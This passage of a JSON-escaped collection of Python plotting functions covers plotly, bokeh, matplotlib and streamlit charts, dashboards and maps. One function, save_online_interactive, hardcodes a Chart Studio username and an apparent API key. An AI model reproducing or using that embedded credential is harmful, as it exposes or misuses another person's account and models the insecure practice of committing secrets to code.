colourscale = [[0, '#00ac70'], [0.5, '#faf8ee'], [1.0, '#f54411']]\\n \\n if((title == \\\"\\\") & (y is not None)):\\n title = \\\"{} vs {}\\\".format(x.replace('_', ' ').title(), \\n y.replace('_', ' ').title())\\n elif((title == \\\"\\\")):\\n title = \\\"{} Distribution\\\".format(x.replace('_', ' ').title())\\n \\n if(xtitle is None):\\n xtitle = x.replace('_', ' ').title() \\n \\n if((ytitle is None) & (y is not None)):\\n ytitle = y.replace('_', ' ').title() \\n elif(ytitle is None):\\n ytitle = 'Volume'\\n \\n layout = plotly_layout(title, xtitle, ytitle, subtitle,\\n height, width, tickangle)\\n\\n \\n \\n ##Histogram\\n if(kind == 'Hist'):\\n \\n if(annotate == True):\\n print('Annotations not available for Histograms')\\n \\n if(group is None):\\n base = [go.Histogram(\\n x = df[x],\\n marker = dict(\\n color='midnightblue',\\n line=dict(\\n color='white',\\n width=1\\n ))) \\n ]\\n else:\\n coloursIdx = dict(zip(df[group].unique(), colours))\\n \\n base = [go.Histogram(\\n opacity = 0.5,\\n x = df[df[group]==val][x],\\n name = val, \\n marker = dict(color=coloursIdx.get(val),\\n line=dict(\\n color='white',\\n width=1\\n )\\n )) for val in df[group].unique()\\n ]\\n layout.update({'barmode':'overlay'})\\n \\n \\n ##Bar\\n elif(kind == 'Bar'):\\n if(group is None):\\n if(annotate == True):\\n annotate = 'auto'\\n t = np.round(df[y])\\n else:\\n annotate = 'none'\\n t = None\\n \\n if(ordered == True):\\n df.sort_values(by=y,\\n axis=0, \\n ascending=False, \\n inplace = True)\\n \\n base = [\\n go.Bar(\\n x = df[x],\\n y = df[y],\\n marker = dict(\\n color='midnightblue',\\n line=dict(\\n color='white',\\n width=1,\\n )),\\n text = t,\\n textposition = annotate,\\n textfont=dict(\\n family='Arial, sans-serif',\\n size=14,\\n color='darkgrey'\\n )\\n )\\n ]\\n else:\\n \\n if(annotate == True):\\n annotate = 'auto'\\n else:\\n annotate = 'none'\\n \\n def annotation(annotate, val):\\n if(annotate == 'auto'):\\n t = np.round(df[df[group]==val][y])\\n else:\\n t = None\\n return t\\n \\n if(stacked == True):\\n layout.update({'barmode':'stack'})\\n \\n coloursIdx = dict(zip(df[group].unique(), colours))\\n #cols = df[group].map(coloursIdx)\\n \\n if(ordered == True):\\n df.sort_values(by=y,\\n axis=0, \\n ascending=False, \\n inplace = True)\\n \\n base = [\\n go.Bar(\\n x=df[df[group]==val][x],\\n y = df[df[group]==val][y],\\n name = val,\\n marker = dict(color = coloursIdx.get(val)),\\n text = annotation(annotate, val),\\n textposition = annotate,\\n textfont=dict(\\n family='Arial, sans-serif',\\n size=14,\\n color='darkgrey'\\n )\\n \\n \\n ) for val in df[group].unique()\\n ] \\n \\n \\n ##Scatter\\n elif(kind == 'Scat'):\\n \\n if(annotate == True):\\n print('Annotations not available for Scatter Plots')\\n \\n if(group is None):\\n if(size is None):\\n \\n base = [\\n go.Scatter(\\n opacity = 0.75,\\n x = df[x],\\n y = df[y],\\n marker=dict(\\n color='midnightblue',\\n line=dict(\\n color='white',\\n width=1,\\n ),\\n size = 16),\\n mode = 'markers'\\n ) \\n ]\\n \\n else: \\n base = [\\n go.Scatter(\\n x = df[x],\\n y = df[y],\\n marker=dict(\\n color='midnightblue',\\n line=dict(\\n color='white',\\n width=1,\\n ),\\n size = df[size],\\n sizeref=2.*np.max(df[size])/(10.**2),\\n sizemin=10\\n ),\\n mode = 'markers'\\n ) \\n ]\\n \\n else:\\n if(size is not None):\\n if(df[group].dtype == np.float64 or df[group].dtype == np.int64):\\n\\n base = [\\n go.Scatter(\\n x = df[x],\\n y = df[y],\\n text = df[group],\\n marker=dict(\\n color=df[group],\\n colorbar=dict(\\n title=group.replace('_', ' ').title()\\n ),\\n colorscale = colourscale,\\n size = df[size],\\n sizeref=2.*np.max(df[size])/(10.**2),\\n sizemin=10\\n ),\\n mode = 'markers'\\n ) \\n ]\\n\\n else:\\n\\n coloursIdx = dict(zip(df[group].unique(), colours))\\n\\n base = [\\n go.Scatter(\\n x = df[df[group]==val][x],\\n y = df[df[group]==val][y],\\n name = val,\\n marker = dict(size = df[df[group]==val][size],\\n sizeref=2.*np.max(df[size])/(10.**2),\\n sizemin=10,\\n color = coloursIdx.get(val)),\\n mode = 'markers'\\n ) for val in df[group].unique()\\n\\n ]\\n\\n else:\\n if(df[group].dtype == np.float64 or df[group].dtype == np.int64):\\n\\n base = [\\n go.Scatter(opacity = 0.75,\\n x = df[x],\\n y = df[y],\\n text = df[group],\\n marker=dict(\\n color=df[group],\\n colorbar=dict(\\n title=group.replace('_', ' ').title()\\n ),\\n colorscale = colourscale,\\n line=dict(\\n color='white',\\n width=1,\\n ),\\n size = 16\\n ),\\n mode = 'markers'\\n ) \\n ]\\n\\n else:\\n\\n coloursIdx = dict(zip(df[group].unique(), colours))\\n\\n base = [\\n go.Scatter(\\n opacity = 0.75,\\n x = df[df[group]==val][x],\\n y = df[df[group]==val][y],\\n name = val,\\n marker = dict(size = 16,\\n color = coloursIdx.get(val),\\n line=dict(\\n color='white',\\n width=1,\\n )),\\n mode = 'markers'\\n ) for val in df[group].unique()\\n\\n ]\\n \\n fig = go.Figure(data = base, layout = layout)\\n \\n return fig\",\n \"def bokehplot(self, data, backup_frame):\\n data['Total_Cases'] = backup_frame['Global_Cases']\\n\\n plotted = data.plot_bokeh(title=f'Global Data for Covid-19 '\\n f'{self.final_title_sub}',\\n figsize=(1000, 750),\\n legend='top_left',\\n\\n xlabel='Dates - '\\n 'Formatted (Day/Month)',\\n\\n ylabel='Number of Cases',\\n disable_scientific_axes='y',\\n return_html=True,\\n show_figure=False)\\n\\n save_to = f'{self.out_dir}docs/graphics/interactive_plot_for_' \\\\\\n f'{self.final_title_sub}.html'\\n print(f'Interactive plot saved to:\\\\n{save_to}')\\n logging.debug('Interactive plot saved to:\\\\n%s', save_to)\\n\\n with open(save_to, 'w') as int_plot:\\n int_plot.write(plotted)\\n\\n data.drop('Total_Cases', axis=1)\",\n \"def render_graph(variable, payload):\\n\\n try:\\n climate_data = pd.read_json(payload, orient=\\\"split\\\")\\n except ValueError:\\n climate_data = pd.DataFrame()\\n\\n log.info(\\n f\\\"Rendering graph for variable={variable} from {frame_summary(climate_data)}\\\"\\n )\\n\\n fig = default_figure(climate_data, variable)\\n\\n fig.update_layout(\\n margin=go.layout.Margin(\\n l=0, # left margin\\n r=0, # right margin\\n b=0, # bottom margin\\n t=0, # top margin\\n )\\n )\\n\\n return fig\",\n \"def offline_plotly_scatter3d(df, x=0, y=1, z=-1):\\n data = []\\n # clusters = []\\n colors = ['rgb(228,26,28)', 'rgb(55,126,184)', 'rgb(77,175,74)']\\n\\n # df.columns = clean_columns(df.columns)\\n\\n x = get_array(df, x, default=0)\\n y = get_array(df, y, default=1)\\n z = get_array(df, z, default=-1)\\n for i in range(len(df['name'].unique())):\\n name = df['Name'].unique()[i]\\n color = colors[i]\\n x = x[pd.np.array(df['name'] == name)]\\n y = y[pd.np.array(df['name'] == name)]\\n z = z[pd.np.array(df['name'] == name)]\\n\\n trace = dict(\\n name=name,\\n x=x, y=y, z=z,\\n type=\\\"scatter3d\\\",\\n mode='markers',\\n marker=dict(size=3, color=color, line=dict(width=0)))\\n data.append(trace)\\n\\n layout = dict(\\n width=800,\\n height=550,\\n autosize=False,\\n title='Iris dataset',\\n scene=dict(\\n xaxis=dict(\\n gridcolor='rgb(255, 255, 255)',\\n zerolinecolor='rgb(255, 255, 255)',\\n showbackground=True,\\n backgroundcolor='rgb(230, 230,230)'\\n ),\\n yaxis=dict(\\n gridcolor='rgb(255, 255, 255)',\\n zerolinecolor='rgb(255, 255, 255)',\\n showbackground=True,\\n backgroundcolor='rgb(230, 230,230)'\\n ),\\n zaxis=dict(\\n gridcolor='rgb(255, 255, 255)',\\n zerolinecolor='rgb(255, 255, 255)',\\n showbackground=True,\\n backgroundcolor='rgb(230, 230,230)'\\n ),\\n aspectratio=dict(x=1, y=1, z=0.7),\\n aspectmode='manual'\\n ),\\n )\\n\\n fig = dict(data=data, layout=layout)\\n\\n # IPython notebook\\n # plotly.iplot(fig, filename='pandas-3d-iris', validate=False)\\n\\n url = plotly.offline.plot(fig, filename='pandas-3d-iris', validate=False)\\n return url\",\n \"def plot_data(indf, prefix='html'):\\n list_of_plots = []\\n# scatter_matrix(indf)\\n# pl.savefig('scatter_matrix.png')\\n# list_of_plots.append('scatter_matrix.png')\\n\\n for col in indf:\\n pl.clf()\\n# cond = indf[col].notnull()\\n# v = indf[cond][col]\\n v = indf[col]\\n# nent = len(v)\\n# hmin, hmax = v.min(), v.max()\\n# xbins = np.linspace(hmin,hmax,nent)\\n# hmin, hmax, nbin = BOUNDS[col]\\n# xbins = np.linspace(hmin, hmax, nbin)\\n v.hist(bins=20, histtype='step', normed=True, log=True)\\n pl.title(col)\\n pl.savefig('%s_hist.png' % col)\\n list_of_plots.append('%s_hist.png' % col)\\n\\n create_html_page_of_plots(list_of_plots, prefix)\\n return\",\n \"def bokeh_dashboard_creator(dataframe):\\r\\n ############################################\\r\\n # Revenue, Impressions by Day by Partner\\r\\n ############################################\\r\\n \\r\\n output_file(\\\"dashboard.html\\\")\\r\\n \\r\\n df = dataframe\\r\\n df['Day'] = pd.to_datetime(df['Day'])\\r\\n df = df.fillna(0)\\r\\n \\r\\n impressions_list = df.groupby('Day').Impressions.sum().tolist()\\r\\n revenue_list = df.groupby('Day').Revenue.sum().tolist()\\r\\n\\r\\n df_pivot = df.pivot_table(index=['Day'], columns='Partner', \\r\\n values=['Revenue'], aggfunc='sum')\\r\\n\\r\\n df_pivot = df_pivot.fillna(0)\\r\\n\\r\\n df_pivot['Impressions'] = impressions_list\\r\\n df_pivot['Total_Revenue'] = revenue_list\\r\\n \\r\\n df_pivot.to_csv(\\\"revenue-by-day-by-partner.csv\\\")\\r\\n df2 = pd.read_csv(\\\"revenue-by-day-by-partner.csv\\\", skiprows=2)\\r\\n \\r\\n df2['Day'] = pd.to_datetime(df2['Day'])\\r\\n df2 = df2.fillna(0)\\r\\n spectral_switch = ['#2b83ba', '#abdda4', '#fdae61']\\r\\n\\r\\n df2.columns = ['Day', 'Fyber', 'Fyber_Video', 'MoPub', \\r\\n 'Impressions', 'Total_Revenue']\\r\\n\\r\\n df2['Day'] = pd.to_datetime(df2['Day'])\\r\\n\\r\\n source = ColumnDataSource(df2)\\r\\n\\r\\n colors=spectral_switch\\r\\n\\r\\n partners = [\\\"Fyber\\\", \\\"Fyber_Video\\\", \\\"MoPub\\\"]\\r\\n\\r\\n hover = HoverTool(tooltips=\\r\\n [\\r\\n ('Date','@Day{ %F }'),\\r\\n ('MoPub','@MoPub{$0,0.00}'),\\r\\n ('Fyber Video','@Fyber_Video{$0,0.00}'),\\r\\n ('Fyber','@Fyber{$0,0.00}'), \\r\\n ('Total Revenue','@Total_Revenue{$0,0.00}'),\\r\\n ('Impressions', '@Impressions{0,}'),\\r\\n ],\\r\\n\\r\\n formatters={'Day':'datetime'},\\r\\n\\r\\n\\r\\n )\\r\\n\\r\\n p = figure(plot_width=1000, plot_height=400, x_axis_type='datetime', \\r\\n toolbar_location = 'above', tools=[hover], \\r\\n y_range = (0, df2['Total_Revenue'].max()+500))\\r\\n\\r\\n #Title\\r\\n p.title.text = 'IMVU Mobile Ad Revenue by Date, Impressions'\\r\\n p.title.text_font = 'arial'\\r\\n p.title.text_color = 'gray'\\r\\n\\r\\n #Y-Axis\\r\\n p.yaxis.axis_label = 'Revenue'\\r\\n p.yaxis.axis_label_text_font = 'arial'\\r\\n p.yaxis.axis_label_text_font_style = 'bold'\\r\\n p.yaxis[0].formatter = NumeralTickFormatter(format=\\\"$0,00.00\\\")\\r\\n\\r\\n #X-Axis\\r\\n p.xaxis.axis_label = 'Date'\\r\\n p.xaxis.axis_label_text_font = 'arial'\\r\\n p.xaxis.axis_label_text_font_style = 'bold'\\r\\n p.xaxis.major_label_text_color = 'black'\\r\\n\\r\\n #Removes X-Grid Line\\r\\n p.xgrid.grid_line_color = None\\r\\n\\r\\n #Tools\\r\\n p.add_tools(PanTool())\\r\\n p.add_tools(BoxZoomTool())\\r\\n p.add_tools(WheelZoomTool())\\r\\n p.add_tools(ZoomInTool())\\r\\n p.add_tools(ZoomOutTool())\\r\\n p.add_tools(ResetTool())\\r\\n p.add_tools(SaveTool())\\r\\n p.toolbar.logo = None\\r\\n\\r\\n #Misc\\r\\n p.y_range.start = 0\\r\\n p.x_range.range_padding = 0.1\\r\\n p.axis.minor_tick_line_color = None\\r\\n p.outline_line_color = None\\r\\n\\r\\n p.vbar_stack(stackers=partners, x='Day', width=36000000, color=colors, \\r\\n source=source, legend=[value(x) for x in partners], \\r\\n name=partners)\\r\\n\\r\\n p.extra_y_ranges = {\\\"Impression_Range\\\": \\r\\n Range1d(start=0, end=df2['Impressions'].max()+5000000)}\\r\\n \\r\\n p.add_layout(LinearAxis(y_range_name='Impression_Range', \\r\\n axis_label=\\\"Impressions\\\", \\r\\n axis_label_text_font = 'arial', \\r\\n axis_label_text_font_style = 'bold', \\r\\n minor_tick_line_color = None, \\r\\n formatter = NumeralTickFormatter(format=\\\"000,000\\\")), \\\"right\\\")\\r\\n \\r\\n p.line(x='Day', y='Impressions', source=source, line_width=2, \\r\\n color='navy', y_range_name = 'Impression_Range', \\r\\n legend='Impression')\\r\\n\\r\\n #Legend Formatting\\r\\n # p.legend.location = \\\"top_left\\\"\\r\\n p.legend.location = 'top_center'\\r\\n p.legend.orientation = \\\"horizontal\\\"\\r\\n p.legend.click_policy = 'hide'\\r\\n \\r\\n ############################################\\r\\n # Revenue by Day by Ad Unit Type\\r\\n ############################################\\r\\n\\r\\n df_unittype_pivot = df.pivot_table(index='Day', columns='UnitType', \\r\\n values='Revenue', aggfunc='sum')\\r\\n\\r\\n df_unittype_pivot['Total_Revenue'] = revenue_list\\r\\n\\r\\n df_unittype_pivot.to_csv(\\\"revenue-by-day-by-adtype.csv\\\")\\r\\n\\r\\n df3 = pd.read_csv(\\\"revenue-by-day-by-adtype.csv\\\")\\r\\n\\r\\n df3['Total_Revenue'].max()\\r\\n\\r\\n df3['Day'] = pd.to_datetime(df3['Day'])\\r\\n\\r\\n source2 = ColumnDataSource(df3)\\r\\n ad_type = [\\\"banner\\\", \\\"native\\\", \\\"video\\\"]\\r\\n pastel_colors = [\\\"#a8e6cf\\\", \\\"#ffd3b6\\\", \\\"#ffaaa5\\\"]\\r\\n\\r\\n df3.head(1)\\r\\n\\r\\n hover2 = HoverTool(\\r\\n tooltips=\\r\\n [\\r\\n ('Video','@video{$0,0.00}'),\\r\\n ('Native','@native{$0,0.00}'),\\r\\n ('Banner','@banner{$0,0.00}'),\\r\\n ('Total Revenue', '@Total_Revenue{$0,0.00}'),\\r\\n ('Date','@Day{ %F }'),\\r\\n ],\\r\\n\\r\\n formatters={'Day':'datetime'}\\r\\n\\r\\n )\\r\\n\\r\\n p2 = figure(plot_width = 1000, plot_height=400, x_axis_type='datetime', \\r\\n title=\\\"Ads By Day\\\", toolbar_location='above', \\r\\n tools=[hover2], y_range=(0,df3['Total_Revenue'].max()+500))\\r\\n\\r\\n p2.vbar_stack(stackers=ad_type, x='Day', width=36000000, color=pastel_colors,\\r\\n source=source2, legend=[value(x) for x in ad_type], \\r\\n name=ad_type)\\r\\n\\r\\n #Title\\r\\n p2.title.text = 'IMVU Mobile Ad Revenue by Type, Date'\\r\\n p2.title.text_font = 'arial'\\r\\n p2.title.text_color = 'gray'\\r\\n #p.title.text_font_style = 'bold'\\r\\n\\r\\n #Y-Axis\\r\\n p2.yaxis.axis_label = 'Revenue'\\r\\n p2.yaxis.axis_label_text_font = 'arial'\\r\\n p2.yaxis.axis_label_text_font_style = 'bold'\\r\\n p2.yaxis[0].formatter = NumeralTickFormatter(format=\\\"$0,00.00\\\")\\r\\n\\r\\n #X-Axis\\r\\n p2.xaxis.axis_label = 'Date'\\r\\n p2.xaxis.axis_label_text_font = 'arial'\\r\\n p2.xaxis.axis_label_text_font_style = 'bold'\\r\\n p2.xaxis.major_label_text_color = 'black'\\r\\n\\r\\n #Removes X-Grid Line\\r\\n p2.xgrid.grid_line_color = None\\r\\n\\r\\n #Tools\\r\\n p2.add_tools(PanTool())\\r\\n p2.add_tools(BoxZoomTool())\\r\\n p2.add_tools(WheelZoomTool())\\r\\n p2.add_tools(ZoomInTool())\\r\\n p2.add_tools(ZoomOutTool())\\r\\n p2.add_tools(ResetTool())\\r\\n p2.add_tools(SaveTool())\\r\\n p2.toolbar.logo = None\\r\\n\\r\\n #Misc\\r\\n p2.y_range.start = 0\\r\\n p2.x_range.range_padding = 0.1\\r\\n p2.axis.minor_tick_line_color = None\\r\\n p2.outline_line_color = None\\r\\n\\r\\n #Legend Formatting\\r\\n p2.legend.location = 'top_center'\\r\\n p2.legend.orientation = \\\"horizontal\\\"\\r\\n p2.legend.click_policy = 'hide'\\r\\n\\r\\n ############################################\\r\\n # Revenue by Day by App\\r\\n ############################################\\r\\n\\r\\n df_app_pivot = df.pivot_table(index='Day', columns='App', \\r\\n values=['Revenue', 'Impressions'], \\r\\n aggfunc='sum')\\r\\n\\r\\n df_app_pivot.to_csv(\\\"revenue-by-day-by-app.csv\\\")\\r\\n\\r\\n df4 = pd.read_csv(\\\"revenue-by-day-by-app.csv\\\", skiprows=2)\\r\\n\\r\\n df4 = df4.fillna(0)\\r\\n\\r\\n col_idx = 0\\r\\n bad_column_list = []\\r\\n\\r\\n for c in list(df4.columns):\\r\\n if df4.loc[0, c] == 0.0:\\r\\n bad_column_list.append(col_idx)\\r\\n col_idx += 1\\r\\n\\r\\n columns_to_delete = [list(df4.columns)[num] for num in bad_column_list]\\r\\n\\r\\n for c in columns_to_delete:\\r\\n del df4[c]\\r\\n\\r\\n df4.columns = [\\\"Day\\\", \\\"IMVU_Android_Impressions\\\", \\\"IMVU_iOS_Impressions\\\", \\r\\n \\\"IMVU_Android_Revenue\\\", \\\"IMVU_iOS_Revenue\\\"]\\r\\n\\r\\n df4['Day'] = pd.to_datetime(df4['Day'])\\r\\n\\r\\n # turn impressions to integer?\\r\\n\\r\\n df4[\\\"Total_Revenue\\\"] = df4[\\\"IMVU_Android_Revenue\\\"] + df4[\\\"IMVU_iOS_Revenue\\\"]\\r\\n df4[\\\"Total_Impressions\\\"] = df4[\\\"IMVU_Android_Impressions\\\"] + df4[\\\"IMVU_iOS_Impressions\\\"]\\r\\n\\r\\n os_colors = [\\\"#ff5d5d\\\", \\\"#84b9ef\\\"]\\r\\n ad_type = ['IMVU_Android_Revenue', 'IMVU_iOS_Revenue']\\r\\n\\r\\n source3 = ColumnDataSource(df4)\\r\\n\\r\\n hover3 = HoverTool(\\r\\n tooltips=\\r\\n [\\r\\n ('iOS Revenue','@IMVU_iOS_Revenue{$0,0.00}'),\\r\\n ('Android Revenue','@IMVU_Android_Revenue{$0,0.00}'),\\r\\n ('Total Revenue', '@Total_Revenue{$0,0.00}'),\\r\\n ('Date','@Day{ %F }'),\\r\\n ],\\r\\n\\r\\n formatters={'Day':'datetime'}\\r\\n\\r\\n )\\r\\n\\r\\n p3 = figure(plot_width = 1000, plot_height=400, x_axis_type='datetime', \\r\\n title=\\\"Ads By Day\\\", toolbar_location='above', \\r\\n tools=[hover3], y_range=(0,df4['Total_Revenue'].max()+500))\\r\\n\\r\\n p3.vbar_stack(stackers=ad_type, x='Day', width=36000000, color=os_colors, \\r\\n source=source3, alpha=0.6, legend=[value(x) for x in ad_type], \\r\\n name=ad_type)\\r\\n\\r\\n #Title\\r\\n p3.title.text = 'IMVU Mobile Ad Revenue by App, Date'\\r\\n p3.title.text_font = 'arial'\\r\\n p3.title.text_color = 'gray'\\r\\n #p.title.text_font_style = 'bold'\\r\\n\\r\\n #Y-Axis\\r\\n p3.yaxis.axis_label = 'Revenue'\\r\\n p3.yaxis.axis_label_text_font = 'arial'\\r\\n p3.yaxis.axis_label_text_font_style = 'bold'\\r\\n p3.yaxis[0].formatter = NumeralTickFormatter(format=\\\"$0,00.00\\\")\\r\\n\\r\\n #X-Axis\\r\\n p3.xaxis.axis_label = 'Date'\\r\\n p3.xaxis.axis_label_text_font = 'arial'\\r\\n p3.xaxis.axis_label_text_font_style = 'bold'\\r\\n p3.xaxis.major_label_text_color = 'black'\\r\\n\\r\\n #Removes X-Grid Line\\r\\n p3.xgrid.grid_line_color = None\\r\\n\\r\\n #Tools\\r\\n p3.add_tools(PanTool())\\r\\n p3.add_tools(BoxZoomTool())\\r\\n p3.add_tools(WheelZoomTool())\\r\\n p3.add_tools(ZoomInTool())\\r\\n p3.add_tools(ZoomOutTool())\\r\\n p3.add_tools(ResetTool())\\r\\n p3.add_tools(SaveTool())\\r\\n p3.toolbar.logo = None\\r\\n\\r\\n #Misc\\r\\n p3.y_range.start = 0\\r\\n p3.x_range.range_padding = 0.1\\r\\n p3.axis.minor_tick_line_color = None\\r\\n p3.outline_line_color = None\\r\\n\\r\\n #Legend Formatting\\r\\n # p3.legend.location = \\\"top_left\\\"\\r\\n p3.legend.location = 'top_center'\\r\\n p3.legend.orientation = \\\"horizontal\\\"\\r\\n p3.legend.click_policy = 'hide' \\r\\n\\r\\n from bokeh.layouts import column\\r\\n \\r\\n show(column(p, p2, p3))\",\n \"def build_updated_figures(\\n df, relayout_data, selected_age, selected_scatter_graph,\\n aggregate, colorscale_name, selected_cow, selected_sex\\n):\\n global data_3857, data_center_3857, data_4326, data_center_4326\\n\\n colorscale_transform, aggregate_column = 'linear', 'sex'\\n selected = {}\\n\\n if selected_age:\\n selected = {\\n 'age': bar_selection_to_query(selected_age, 'age')\\n }\\n\\n array_module = cupy if isinstance(df, cudf.DataFrame) else np\\n all_hists_query = build_query(selected)\\n\\n drop_down_queries = ''\\n if selected_sex != -1:\\n drop_down_queries = 'sex == @selected_sex'\\n\\n if selected_cow != -1:\\n if len(drop_down_queries) == 0:\\n drop_down_queries = 'cow == @selected_cow'\\n else:\\n drop_down_queries += ' and cow == @selected_cow'\\n \\n if len(drop_down_queries) > 0:\\n df = df.query(drop_down_queries)\\n\\n isin_mask_scatter = None\\n\\n if selected_scatter_graph:\\n selected_pincp = array_module.array([p['x'] for p in selected_scatter_graph['points']])\\n selected_schl = array_module.array([p['y'] for p in selected_scatter_graph['points']])\\n pincp_array = df.income.values\\n schl_array = df.education.values\\n isin_mask1 = array_module.zeros(len(pincp_array), dtype=np.bool)\\n isin_mask2 = array_module.zeros(len(schl_array), dtype=np.bool)\\n \\n stride = 32\\n for i in range(0, len(selected_pincp), stride):\\n zips_chunk = selected_pincp[i:i+stride]\\n isin_mask1 |= array_module.isin(pincp_array, zips_chunk)\\n for i in range(0, len(selected_schl), stride):\\n zips_chunk = selected_schl[i:i+stride]\\n isin_mask2 |= array_module.isin(schl_array, zips_chunk)\\n\\n isin_mask_scatter = array_module.logical_and(isin_mask1, isin_mask2)\\n df_scatter = df[isin_mask_scatter]\\n else:\\n selected_pincp = None\\n selected_schl = None\\n df_scatter = df\\n \\n # if relayout_data is not None:\\n transformer_4326_to_3857 = Transformer.from_crs(\\\"epsg:4326\\\", \\\"epsg:3857\\\")\\n def epsg_4326_to_3857(coords):\\n return [transformer_4326_to_3857.transform(*reversed(row)) for row in coords]\\n coordinates_4326 = relayout_data and relayout_data.get('mapbox._derived', {}).get('coordinates', None)\\n\\n if coordinates_4326:\\n lons, lats = zip(*coordinates_4326)\\n lon0, lon1 = max(min(lons), data_4326[0][0]), min(max(lons), data_4326[1][0])\\n lat0, lat1 = max(min(lats), data_4326[0][1]), min(max(lats), data_4326[1][1])\\n coordinates_4326 = [\\n [lon0, lat0],\\n [lon1, lat1],\\n ]\\n coordinates_3857 = epsg_4326_to_3857(coordinates_4326)\\n\\n position = {\\n 'zoom': relayout_data.get('mapbox.zoom', None),\\n 'center': relayout_data.get('mapbox.center', None)\\n }\\n else:\\n position = {\\n 'zoom': 2.5,\\n 'pitch': 0,\\n 'bearing': 0,\\n 'center': {'lon': data_center_4326[0][0]-100, 'lat': data_center_4326[0][1]-10}\\n }\\n coordinates_3857 = data_3857\\n coordinates_4326 = data_4326\\n\\n new_coordinates = [\\n [coordinates_4326[0][0], coordinates_4326[1][1]],\\n [coordinates_4326[1][0], coordinates_4326[1][1]],\\n [coordinates_4326[1][0], coordinates_4326[0][1]],\\n [coordinates_4326[0][0], coordinates_4326[0][1]],\\n ]\\n\\n\\n x_range, y_range = zip(*coordinates_3857)\\n x0, x1 = x_range\\n y0, y1 = y_range\\n\\n # Build query expressions\\n query_expr_xy = f\\\"(x >= {x0}) & (x <= {x1}) & (y >= {y0}) & (y <= {y1})\\\"\\n df_map = df_scatter.query(query_expr_xy)\\n\\n datashader_plot = build_datashader_plot(\\n df_scatter.query(all_hists_query) if all_hists_query else df_scatter, aggregate,\\n aggregate_column, colorscale_name, colorscale_transform, new_coordinates, position, x_range, y_range)\\n\\n df_hists = df_map.query(all_hists_query) if all_hists_query else df_map\\n # Build indicator figure\\n n_selected_indicator = {\\n 'data': [{\\n 'type': 'indicator',\\n 'value': len(\\n df_hists\\n ),\\n 'number': {\\n 'font': {\\n 'color': text_color\\n },\\n \\\"valueformat\\\": \\\".0f\\\"\\n }\\n }],\\n 'layout': {\\n 'template': template,\\n 'height': row_heights[0],\\n 'margin': {'l': 10, 'r': 10, 't': 10, 'b': 10}\\n }\\n }\\n \\n query_cache = {}\\n\\n\\n if isinstance(df_map, cudf.DataFrame):\\n df_map = df_map.groupby('age')['x'].count().to_pandas()\\n else:\\n df_map = df_map.groupby('age')['x'].count()\\n\\n age_histogram = build_histogram_default_bins(\\n df_map, 'age', selected, query_cache,'v', colorscale_name, colorscale_transform, aggregate, aggregate_column\\n )\\n \\n \\n scatter_graph = scatter_bubble_2d(\\n df_hists,'income', 'education', selected, query_cache, colorscale_name, colorscale_transform, aggregate, aggregate_column\\n )\\n\\n scatter_graph['layout'] = {\\n 'xaxis': {\\n 'title': {\\n 'text': \\\"Income ($)\\\"\\n },\\n 'ticktext': list(mappings['income'].values()),\\n 'tickvals': list(mappings['income'].keys())\\n },\\n 'yaxis': {\\n 'title': {\\n 'text': \\\"Education Category\\\"\\n },\\n 'ticktext': list(mappings['education'].values()),\\n 'tickvals': list(mappings['education'].keys())\\n },\\n 'hovermode': 'closest',\\n 'dragmode': 'select',\\n 'template': template,\\n 'uirevision': True,\\n }\\n\\n return (datashader_plot, age_histogram, scatter_graph,\\n n_selected_indicator,)\",\n \"def save_fig(fig, save_path):\\n canvas = FigureCanvasAgg(fig)\\n fig.savefig(save_path, format=splitext(save_path)[1][1:])\",\n \"def main():\\r\\n df = pd.read_pickle(FILE_PATH)\\r\\n st.image(LOGO, format='PNG', use_column_width=True)\\r\\n st.title(\\\"ARC QC Analytics\\\")\\r\\n st.markdown(WELCOME_MSG)\\r\\n\\r\\n articleno = st.sidebar.text_area(\\\"Article No. (enter on separate lines)\\\",\\r\\n df['PH Mat. No.'].iloc[0])\\r\\n articleno = articleno.split('\\\\n')\\r\\n df1 = df[df['PH Mat. No.'].isin(articleno)]\\r\\n charac = st.sidebar.selectbox(\\\"Characteristic\\\", df1['Charac.'].unique())\\r\\n update = st.sidebar.button(\\\"Update Database\\\")\\r\\n\\r\\n if update:\\r\\n pickle_data()\\r\\n\\r\\n new_df = df1[(df1['Charac.']==charac)].copy()\\r\\n new_df = coerce_strings(new_df, 'Upper tolerance')\\r\\n new_df = coerce_strings(new_df, 'Lower tolerance')\\r\\n new_df = coerce_strings(new_df, 'Avg')\\r\\n new_df.loc[:, 'Upper tolerance'] = new_df['Upper tolerance'].astype('float')\\r\\n new_df.loc[:, 'Lower tolerance'] = new_df['Lower tolerance'].astype('float')\\r\\n new_df.loc[:, 'Avg'] = new_df['Avg'].astype('float')\\r\\n new_df = new_df.rename(columns={'Order:':'Order'})\\r\\n\\r\\n st.header(\\\"Data\\\")\\r\\n st.write(new_df[['Order', 'PH Mat. No.', 'Charac.', 'Upper tolerance',\\r\\n 'Lower tolerance']])\\r\\n\\r\\n st.header(\\\"Chart\\\")\\r\\n strip = px.strip(new_df, x='Order', y='Avg', color='PH Mat. No.',\\r\\n labels={'Order':'Order No.', 'Avg':charac,\\r\\n 'PH Mat. No.':'Article Number'})\\r\\n strip.update_layout(xaxis_type='category')\\r\\n st.plotly_chart(strip)\\r\\n\\r\\n st.header(\\\"Statistics\\\")\\r\\n st.write(new_df.groupby('Order')['Avg'].describe())\",\n \"def visualize(houses:pd.DataFrame) -> None:\\n #price_distribution(houses)\\n #prop_types(houses)\\n #zip_code(houses)\\n #year_built(houses)\\n #bed_bath(houses)\\n return\",\n \"def save_online_interactive(fig: go.Figure, name):\\n from chart_studio.plotly import plot\\n if chart_studio.tools.get_credentials_file().get('username') != 'coltongarelli':\\n chart_studio.tools.set_credentials_file(username='coltongarelli', api_key='JEoo9aVmctpeUlByHPU3')\\n plot(fig, filename=name, auto_open=True)\",\n \"def plot_data(df, title=\\\"normalized Stock prices\\\", ylabel=\\\"Price\\\", xlabel=\\\"Date\\\"):\\n plt.clf()\\n ax = df.plot(title=title, fontsize=12)\\n ax.set_xlabel(xlabel)\\n ax.set_ylabel(ylabel)\\n plt.savefig('files/output/' + title + '.png')\",\n \"def get_events_per_time_svg(dataframe, parameters=None):\\n if parameters is None:\\n parameters = {}\\n\\n x, y = attributes_filter.get_kde_date_attribute(dataframe, parameters=parameters)\\n\\n gviz = graphs_factory.apply_plot(x, y, variant=\\\"dates\\\", parameters={\\\"format\\\": \\\"svg\\\"})\\n\\n return get_base64_from_file(gviz)\",\n \"def bokeh_scatter_maker(df, x_col, y_col, c_col, title, hover_list, to_svg=False):\\n\\n source = ColumnDataSource(df)\\n TOOLS = 